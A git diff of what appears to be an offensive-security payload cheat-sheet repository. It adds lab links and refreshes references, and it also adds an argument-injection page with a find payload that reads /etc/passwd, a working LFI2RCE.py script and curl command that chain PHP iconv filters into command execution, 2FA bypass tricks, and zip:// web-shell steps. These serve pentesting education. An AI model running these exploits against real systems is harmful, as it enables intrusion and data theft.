diff --git a/.gitignore b/.gitignore index 18dcf8e..5d5f0c5 100644 --- a/.gitignore +++ b/.gitignore @@ -1,4 +1,3 @@ BuildPDF/ .vscode -.todo -AWS Amazon Lambda/ \ No newline at end of file +.todo \ No newline at end of file diff --git a/API Key Leaks/README.md b/API Key Leaks/README.md index 8438d2c..f1c9369 100644 --- a/API Key Leaks/README.md +++ b/API Key Leaks/README.md @@ -24,15 +24,16 @@ ## Tools - [KeyFinder - is a tool that let you find keys while surfing the web!](https://github.com/momenbasel/KeyFinder) -- [Keyhacks - is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid.](https://github.com/streaak/keyhacks) -- [truffleHog - Find credentials all over the place](https://github.com/trufflesecurity/truffleHog) +- [KeyHacks - is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid.](https://github.com/streaak/keyhacks) +- [TruffleHog - Find credentials all over the place](https://github.com/trufflesecurity/truffleHog) ```ps1 docker run -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --repo https://github.com/trufflesecurity/test_keys docker run -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --org=trufflesecurity trufflehog git https://github.com/trufflesecurity/trufflehog.git trufflehog github --endpoint https://api.github.com --org trufflesecurity --token GITHUB_TOKEN --debug --concurrency 2 ``` - +- [Trivy - General purpose vulnerability and misconfiguration scanner which also searches for API keys/secrets](https://github.com/aquasecurity/trivy) + ## Exploit The following commands can be used to takeover accounts or extract personal information from the API using the leaked token. diff --git a/AWS Amazon Bucket S3/README.md b/AWS Amazon Bucket S3/README.md index 5abe5f9..ba79f25 100644 --- a/AWS Amazon Bucket S3/README.md +++ b/AWS Amazon Bucket S3/README.md @@ -159,10 +159,10 @@ For example with a proxy : http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws ## References * [There's a Hole in 1,951 Amazon S3 Buckets - Mar 27, 2013 - Rapid7 willis](https://community.rapid7.com/community/infosec/blog/2013/03/27/1951-open-s3-buckets) -* [Bug Bounty Survey - AWS Basic test](https://twitter.com/bugbsurveys/status/859389553211297792) +* [Bug Bounty Survey - AWS Basic test](https://web.archive.org/web/20180808181450/https://twitter.com/bugbsurveys/status/860102244171227136) * [flaws.cloud Challenge based on AWS vulnerabilities - by Scott Piper of Summit Route](http://flaws.cloud/) * [flaws2.cloud Challenge based on AWS vulnerabilities - by Scott Piper of Summit Route](http://flaws2.cloud) -* [Guardzilla video camera hardcoded AWS credential - 0dayallday.org](https://www.0dayallday.org/guardzilla-video-camera-hard-coded-aws-credentials/) +* [Guardzilla video camera hardcoded AWS credential ~~- 0dayallday.org~~ - blackmarble.sh](https://blackmarble.sh/guardzilla-video-camera-hard-coded-aws-credentials/) * [AWS PENETRATION TESTING PART 1. S3 BUCKETS - VirtueSecurity](https://www.virtuesecurity.com/aws-penetration-testing-part-1-s3-buckets/) * [AWS PENETRATION TESTING PART 2. S3, IAM, EC2 - VirtueSecurity](https://www.virtuesecurity.com/aws-penetration-testing-part-2-s3-iam-ec2/) * [A Technical Analysis of the Capital One Hack - CloudSploit - Aug 2 2019](https://blog.cloudsploit.com/a-technical-analysis-of-the-capital-one-hack-a9b43d7c8aea?gi=8bb65b77c2cf) diff --git a/Account Takeover/README.md b/Account Takeover/README.md index 5db6c97..b580304 100644 --- a/Account Takeover/README.md +++ b/Account Takeover/README.md @@ -27,6 +27,7 @@ * [Backup Code Abuse](#backup-code-abuse) * [Clickjacking on 2FA Disabling Page](#clickjacking-on-2fa-disabling-page) * [Enabling 2FA doesn't expire Previously active Sessions](#enabling-2fa-doesnt-expire-previously-active-sessions) + * [Bypass 2FA by Force Browsing](#bypass-2fa-by-force-browsing) * [Bypass 2FA with null or 000000](#bypass-2fa-with-null-or-000000) * [Bypass 2FA with array](#bypass-2fa-with-array) * [References](#references) @@ -228,6 +229,10 @@ Iframing the 2FA Disabling page and social engineering victim to disable the 2FA If the session is already hijacked and there is a session timeout vuln +### Bypass 2FA by Force Browsing + +If the application redirects to `/my-account` url upon login while 2Fa is disabled, try replacing `/2fa/verify` with `/my-account` while 2FA is enabled to bypass verification. + ### Bypass 2FA with null or 000000 Enter the code **000000** or **null** to bypass 2FA protection. @@ -257,8 +262,9 @@ Enter the code **000000** or **null** to bypass 2FA protection. ## References -- [10 Password Reset Flaws - Anugrah SR](http://anugrahsr.me/posts/10-Password-reset-flaws/) +- [10 Password Reset Flaws - Anugrah SR](https://anugrahsr.github.io/posts/10-Password-reset-flaws/) - [$6,5k + $5k HTTP Request Smuggling mass account takeover - Slack + Zomato - Bug Bounty Reports Explained](https://www.youtube.com/watch?v=gzM4wWA7RFo&feature=youtu.be) - [Broken Cryptography & Account Takeovers - Harsh Bothra - September 20, 2020](https://speakerdeck.com/harshbothra/broken-cryptography-and-account-takeovers?slide=28) - [Hacking Grindr Accounts with Copy and Paste - Troy HUNT & Wassime BOUIMADAGHENE - 03 OCTOBER 2020](https://www.troyhunt.com/hacking-grindr-accounts-with-copy-and-paste/) - [CTFd Account Takeover](https://nvd.nist.gov/vuln/detail/CVE-2020-7245) +- [2FA simple bypass](https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-simple-bypass) diff --git a/Argument Injection/README.md b/Argument Injection/README.md new file mode 100644 index 0000000..acaa3b7 --- /dev/null +++ b/Argument Injection/README.md @@ -0,0 +1,89 @@ +# Argument Injection +Argument injection is similar to command injection as tainted data is passed to to a command executed in a shell without proper sanitization/escaping. + +It can happen in different situations, where you can only inject arguments to a command: + +- Improper sanitization (regex) +- Injection of arguments into a fixed command (PHP:escapeshellcmd, Python: Popen) +- Bash expansion (ex: *) + +In the following example, a python script takes the inputs from the command line to generate a ```curl``` command: +```py +from shlex import quote,split +import sys +import subprocess + +if __name__=="__main__": + command = ['curl'] + command = command + split(sys.argv[1]) + print(command) + r = subprocess.Popen(command) +``` +It is possible for an attacker to pass several words to abuse options from ```curl``` command +```ps1 +python python_rce.py "https://www.google.fr -o test.py" +``` +We can see by printing the command that all the parameters are splited allowing to inject an argument that will save the response in an arbitrary file. +```ps1 +['curl', 'https://www.google.fr', '-o', 'test.py'] +``` +## Summary + +* [List of exposed commands](#list-of-exposed-commands) + * [TAR](#TAR) + * [CURL](#CURL) + * [WGET](#WGET) +* [References](#references) + + +## List of exposed commands + +### CURL +It is possible to abuse ```curl``` through the following options: + +```ps1 + -o, --output Write to file instead of stdout + -O, --remote-name Write output to a file named as the remote file +``` +In case there is already one option in the command it is possible to inject several URLs to download and several output options. Each option will affect each URL in sequence. + +### TAR +For the ```tar``` command it is possible to inject arbitrary arguments in different commands. + +Argument injection can happen into the '''extract''' command: +```ps1 +--to-command +--checkpoint=1 --checkpoint-action=exec= +-T or --files-from +``` + +Or in the '''create''' command: +```ps1 +-I= or -I +--use-compres-program= +``` +There are also short options to work without spaces: +```ps1 +-T +-I"/path/to/exec" +``` + +### FIND +Find some_file inside /tmp directory. +```php +$file = "some_file"; +system("find /tmp -iname ".escapeshellcmd($file)); +``` + +Print /etc/passwd content. +```php +$file = "sth -or -exec cat /etc/passwd ; -quit"; +system("find /tmp -iname ".escapeshellcmd($file)); +``` + + +## References + +- [staaldraad - Etienne Stalmans, November 24, 2019](https://staaldraad.github.io/post/2019-11-24-argument-injection/) +- [Back To The Future: Unix Wildcards Gone Wild - Leon Juranic, 06/25/2014](https://www.exploit-db.com/papers/33930) +- [TL;DR: How exploit/bypass/use PHP escapeshellarg/escapeshellcmd functions - kacperszurek, Apr 25, 2018](https://github.com/kacperszurek/exploits/blob/master/GitList/exploit-bypass-php-escapeshellarg-escapeshellcmd.md) diff --git a/CORS Misconfiguration/README.md b/CORS Misconfiguration/README.md index 12f8dad..b4f2b38 100644 --- a/CORS Misconfiguration/README.md +++ b/CORS Misconfiguration/README.md @@ -244,6 +244,13 @@ function reqListener() { }; ``` +## Labs + +* [CORS vulnerability with basic origin reflection](https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack) +* [CORS vulnerability with trusted null origin](https://portswigger.net/web-security/cors/lab-null-origin-whitelisted-attack) +* [CORS vulnerability with trusted insecure protocols](https://portswigger.net/web-security/cors/lab-breaking-https-attack) +* [CORS vulnerability with internal network pivot attack](https://portswigger.net/web-security/cors/lab-internal-network-pivot-attack) + ## Bug Bounty reports * [CORS Misconfiguration on www.zomato.com - James Kettle (albinowax)](https://hackerone.com/reports/168574) diff --git a/CRLF Injection/README.md b/CRLF Injection/README.md index 04fe4f8..14f3eeb 100644 --- a/CRLF Injection/README.md +++ b/CRLF Injection/README.md @@ -103,6 +103,9 @@ Remainder: * %E5%98%BE = %3E = \u563e (>) * %E5%98%BC = %3C = \u563c (<) +## Labs + +* [https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-splitting-via-crlf-injection](https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-splitting-via-crlf-injection) ## Exploitation Tricks * Try to search for parameters that lead to redirects and fuzz them diff --git a/CSRF Injection/README.md b/CSRF Injection/README.md index 0ccd714..a04796b 100644 --- a/CSRF Injection/README.md +++ b/CSRF Injection/README.md @@ -11,6 +11,7 @@ * [HTML GET - No User Interaction)](#html-get---no-user-interaction) * [HTML POST - Requiring User Interaction](#html-post---requiring-user-interaction) * [HTML POST - AutoSubmit - No User Interaction](#html-post---autosubmit---no-user-interaction) + * [HTML POST - multipart/form-data with file upload - Requiring User Interaction](#html-post---multipartform-data-with-file-upload---requiring-user-interaction) * [JSON GET - Simple Request](#json-get---simple-request) * [JSON POST - Simple Request](#json-post---simple-request) * [JSON POST - Complex Request](#json-post---complex-request) @@ -67,6 +68,27 @@ When you are logged in to a certain site, you typically have a session. The iden ``` +### HTML POST - multipart/form-data with file upload - Requiring User Interaction + +```html + + +
+ + +
+ +``` + ### JSON GET - Simple Request @@ -138,6 +160,18 @@ Referer: https://attacker.com/csrf.html;trusted.domain.com Referer: https://trusted.domain.com.attacker.com/csrf.html ``` +## Labs + +* [CSRF vulnerability with no defenses](https://portswigger.net/web-security/csrf/lab-no-defenses) +* [CSRF where token validation depends on request method](https://portswigger.net/web-security/csrf/lab-token-validation-depends-on-request-method) +* [CSRF where token validation depends on token being present](https://portswigger.net/web-security/csrf/lab-token-validation-depends-on-token-being-present) +* [CSRF where token is not tied to user session](https://portswigger.net/web-security/csrf/lab-token-not-tied-to-user-session) +* [CSRF where token is tied to non-session cookie](https://portswigger.net/web-security/csrf/lab-token-tied-to-non-session-cookie) +* [CSRF where token is duplicated in cookie](https://portswigger.net/web-security/csrf/lab-token-duplicated-in-cookie) +* [CSRF where Referer validation depends on header being present](https://portswigger.net/web-security/csrf/lab-referer-validation-depends-on-header-being-present) +* [CSRF with broken Referer validation](https://portswigger.net/web-security/csrf/lab-referer-validation-broken) + + ## References - [Cross-Site Request Forgery Cheat Sheet - Alex Lauerman - April 3rd, 2016](https://trustfoundry.net/cross-site-request-forgery-cheat-sheet/) diff --git a/CSV Injection/README.md b/CSV Injection/README.md index 6c1236f..d631791 100644 --- a/CSV Injection/README.md +++ b/CSV Injection/README.md @@ -53,11 +53,11 @@ Any formula can be started with ## References -* [OWASP - CSV Excel Macro Injection](https://owasp.org/index.php/CSV_Excel_Macro_Injection) -* [Google Bug Hunter University - CSV Excel formula injection](https://sites.google.com/site/bughunteruniversity/nonvuln/csv-excel-formula-injection) -* [Comma Separated Vulnerabilities - James Kettle](https://www.contextis.com/resources/blog/comma-separated-vulnerabilities/) +* [OWASP - CSV Excel Macro Injection](https://owasp.org/www-community/attacks/CSV_Injection) +* [Google Bug Hunter University - CSV Excel formula injection](https://bughunters.google.com/learn/invalid-reports/google-products/4965108570390528/csv-formula-injection) * [CSV INJECTION: BASIC TO EXPLOIT!!!! - 30/11/2017 - Akansha Kesharwani](https://payatu.com/csv-injection-basic-to-exploit/) * [From CSV to Meterpreter - 5th November 2015 - Adam Chester](https://blog.xpnsec.com/from-csv-to-meterpreter/) -* [CSV Injection -> Meterpreter on Pornhub - @ZephrFish Andy](https://news.webamooz.com/wp-content/uploads/bot/offsecmag/147.pdf) * [The Absurdly Underestimated Dangers of CSV Injection - 7 October, 2017 - George Mauer](http://georgemauer.net/2017/10/07/csv-injection.html) * [Three New DDE Obfuscation Methods](https://blog.reversinglabs.com/blog/cvs-dde-exploits-and-obfuscation) +* [Your Excel Sheets Are Not Safe! Here's How to Beat CSV Injection](https://www.we45.com/post/your-excel-sheets-are-not-safe-heres-how-to-beat-csv-injection) + diff --git a/CVE Exploits/README.md b/CVE Exploits/README.md index 821abc8..57d62ce 100644 --- a/CVE Exploits/README.md +++ b/CVE Exploits/README.md @@ -1,5 +1,9 @@ # Common Vulnerabilities and Exposures +## Tools + +- [Trickest CVE Repository - Automated collection of CVEs and PoC's](https://github.com/trickest/cve) + ## Big CVEs in the last 5 years. ### CVE-2017-0144 - EternalBlue diff --git a/Command Injection/README.md b/Command Injection/README.md index e98534a..54aa11b 100644 --- a/Command Injection/README.md +++ b/Command Injection/README.md @@ -297,9 +297,18 @@ echo "YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep( echo 'YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/' ``` +## Labs + +* [OS command injection, simple case](https://portswigger.net/web-security/os-command-injection/lab-simple) +* [Blind OS command injection with time delays](https://portswigger.net/web-security/os-command-injection/lab-blind-time-delays) +* [Blind OS command injection with output redirection](https://portswigger.net/web-security/os-command-injection/lab-blind-output-redirection) +* [Blind OS command injection with out-of-band interaction](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band) +* [Blind OS command injection with out-of-band data exfiltration](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration) + ## References * [SECURITY CAFÉ - Exploiting Timed Based RCE](https://securitycafe.ro/2017/02/28/time-based-data-exfiltration/) -* [Bug Bounty Survey - Windows RCE spaceless](https://twitter.com/bugbsurveys/status/860102244171227136) +* [Bug Bounty Survey - Windows RCE spaceless](https://web.archive.org/web/20180808181450/https://twitter.com/bugbsurveys/status/860102244171227136) * [No PHP, no spaces, no $, no { }, bash only - @asdizzle](https://twitter.com/asdizzle_/status/895244943526170628) * [#bash #obfuscation by string manipulation - Malwrologist, @DissectMalware](https://twitter.com/DissectMalware/status/1025604382644232192) +* [What is OS command injection - portswigger](https://portswigger.net/web-security/os-command-injection) diff --git a/Directory Traversal/README.md b/Directory Traversal/README.md index 665af6c..eea6bfa 100644 --- a/Directory Traversal/README.md +++ b/Directory Traversal/README.md @@ -194,6 +194,14 @@ The following log files are controllable and can be included with an evil payloa /var/log/sshd.log /var/log/mail ``` +## Labs + +* [File path traversal, simple case](https://portswigger.net/web-security/file-path-traversal/lab-simple) +* [File path traversal, traversal sequences blocked with absolute path bypass](https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass) +* [File path traversal, traversal sequences stripped non-recursively](https://portswigger.net/web-security/file-path-traversal/lab-sequences-stripped-non-recursively) +* [File path traversal, traversal sequences stripped with superfluous URL-decode](https://portswigger.net/web-security/file-path-traversal/lab-superfluous-url-decode) +* [File path traversal, validation of start of path](https://portswigger.net/web-security/file-path-traversal/lab-validate-start-of-path) +* [File path traversal, validation of file extension with null byte bypass](https://portswigger.net/web-security/file-path-traversal/lab-validate-file-extension-null-byte-bypass) ## References diff --git a/File Inclusion/LFI2RCE.py b/File Inclusion/LFI2RCE.py new file mode 100644 index 0000000..3943715 --- /dev/null +++ b/File Inclusion/LFI2RCE.py @@ -0,0 +1,60 @@ +import requests + +url = "http://localhost:8000/chall.php" +file_to_use = "/etc/passwd" +command = "id" + +# +base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4" + +conversions = { + 'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2', + 'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2', + 'C': 'convert.iconv.UTF8.CSISO2022KR', + '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2', + '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB', + 'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213', + 's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61', + 'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS', + 'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932', + 'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213', + 'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5', + '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2', + 'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2', + 'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2', + 'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2', + 'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2', + '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2', + '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2' +} + + +# generate some garbage base64 +filters = "convert.iconv.UTF8.CSISO2022KR|" +filters += "convert.base64-encode|" +# make sure to get rid of any equal signs in both the string we just generated and the rest of the file +filters += "convert.iconv.UTF8.UTF7|" + + +for c in base64_payload[::-1]: + filters += conversions[c] + "|" + # decode and reencode to get rid of everything that isn't valid base64 + filters += "convert.base64-decode|" + filters += "convert.base64-encode|" + # get rid of equal signs + filters += "convert.iconv.UTF8.UTF7|" + +filters += "convert.base64-decode" + +final_payload = f"php://filter/{filters}/resource={file_to_use}" + +with open('payload', 'w') as f: + f.write(final_payload) + +r = requests.get(url, params={ + "0": command, + "action": "include", + "file": final_payload +}) + +print(r.text) \ No newline at end of file diff --git a/File Inclusion/README.md b/File Inclusion/README.md index b1a9170..bbcbe86 100644 --- a/File Inclusion/README.md +++ b/File Inclusion/README.md @@ -140,7 +140,7 @@ http://example.com/index.php?page=php://filter/convert.base64-encode/resource=in http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php ``` -can be chained with a compression wrapper for large files. +Wrappers can be chained with a compression wrapper for large files. ```powershell http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd @@ -155,16 +155,28 @@ NOTE: Wrappers can be chained multiple times using `|` or `/`: curl "http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php" | base64 -d > index.php ``` +Also there is a way to turn the `php://filter` into a full RCE. Use [LFI2RCE.py](./LFI2RCE.py) to generate a custom payload. + +```powershell +# vulnerable file: index.php +# vulnerable parameter: file +# executed command: id +# executed PHP code: +curl "127.0.0.1:8000/index.php?0=id&file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd" +``` + + ### Wrapper zip:// -```python -echo "
" > payload.php; -zip payload.zip payload.php; -mv payload.zip shell.jpg; -rm payload.php +1. Create an evil payload: `echo "
" > payload.php;` +2. Zip the file + ```python + zip payload.zip payload.php; + mv payload.zip shell.jpg; + rm payload.php + ``` +3. Upload the archive and access the file using the wrappers: http://example.com/index.php?page=zip://shell.jpg%23payload.php -http://example.com/index.php?page=zip://shell.jpg%23payload.php -``` ### Wrapper data:// @@ -175,6 +187,7 @@ NOTE: the payload is "" Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+` + ### Wrapper expect:// ```powershell @@ -182,6 +195,7 @@ http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://ls ``` + ### Wrapper input:// Specify your payload in the POST parameters, this can be done with a simple `curl` command. @@ -196,6 +210,7 @@ Alternatively, Kadimus has a module to automate this attack. ./kadimus -u "https://example.com/index.php?page=php://input%00" -C '' -T input ``` + ### Wrapper phar:// Create a phar file with a serialized object in its meta-data. @@ -229,6 +244,7 @@ include('phar://test.phar'); NOTE: The unserialize is triggered for the phar:// wrapper in any file operation, `file_exists` and many more. + ## LFI to RCE via /proc/*/fd 1. Upload a lot of shells (for example : 100) @@ -243,6 +259,7 @@ GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: ``` + ## LFI to RCE via upload If you can upload a file, just inject the shell payload in it (e.g : `` ). @@ -253,6 +270,7 @@ http://example.com/index.php?page=path/to/uploaded/file.png In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf + ## LFI to RCE via upload (race) Worlds Quitest Let's Play" * Upload a file and trigger a self-inclusion. @@ -447,12 +465,14 @@ If SSH is active check which user is being used `/proc/self/status` and `/etc/pa * [Upgrade from LFI to RCE via PHP Sessions](https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/) * [Local file inclusion tricks](http://devels-playground.blogspot.fr/2007/08/local-file-inclusion-tricks.html) * [CVV #1: Local File Inclusion - SI9INT](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a) -* [Exploiting Blind File Reads / Path Traversal Vulnerabilities on Microsoft Windows Operating Systems - @evisneffos](http://www.soffensive.com/2018/06/exploiting-blind-file-reads-path.html) +* [Exploiting Blind File Reads / Path Traversal Vulnerabilities on Microsoft Windows Operating Systems - @evisneffos](https://web.archive.org/web/20200919055801/http://www.soffensive.com/2018/06/exploiting-blind-file-reads-path.html) * [Baby^H Master PHP 2017 by @orangetw](https://github.com/orangetw/My-CTF-Web-Challenges#babyh-master-php-2017) -* [Чтение файлов => unserialize !](https://rdot.org/forum/showthread.php?t=4379) +* [Чтение файлов => unserialize !](https://web.archive.org/web/20200809082021/https://rdot.org/forum/showthread.php?t=4379) * [New PHP Exploitation Technique - 14 Aug 2018 by Dr. Johannes Dahse](https://blog.ripstech.com/2018/new-php-exploitation-technique/) * [It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It, Sam Thomas](https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf) * [CVV #1: Local File Inclusion - @SI9INT - Jun 20, 2018](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a) * [Exploiting Remote File Inclusion (RFI) in PHP application and bypassing remote URL inclusion restriction](http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html?m=1) * [PHP LFI with Nginx Assistance](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/) * [PHP LFI to arbitrary code execution via rfc1867 file upload temporary files (EN) - gynvael.coldwind - 2011-03-18](https://gynvael.coldwind.pl/?id=376) +* [LFI2RCE via PHP Filters - HackTricks](https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters) +* [Solving "includer's revenge" from hxp ctf 2021 without controlling any files - @loknop](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) diff --git a/GraphQL Injection/README.md b/GraphQL Injection/README.md index fe33086..7ce3854 100644 --- a/GraphQL Injection/README.md +++ b/GraphQL 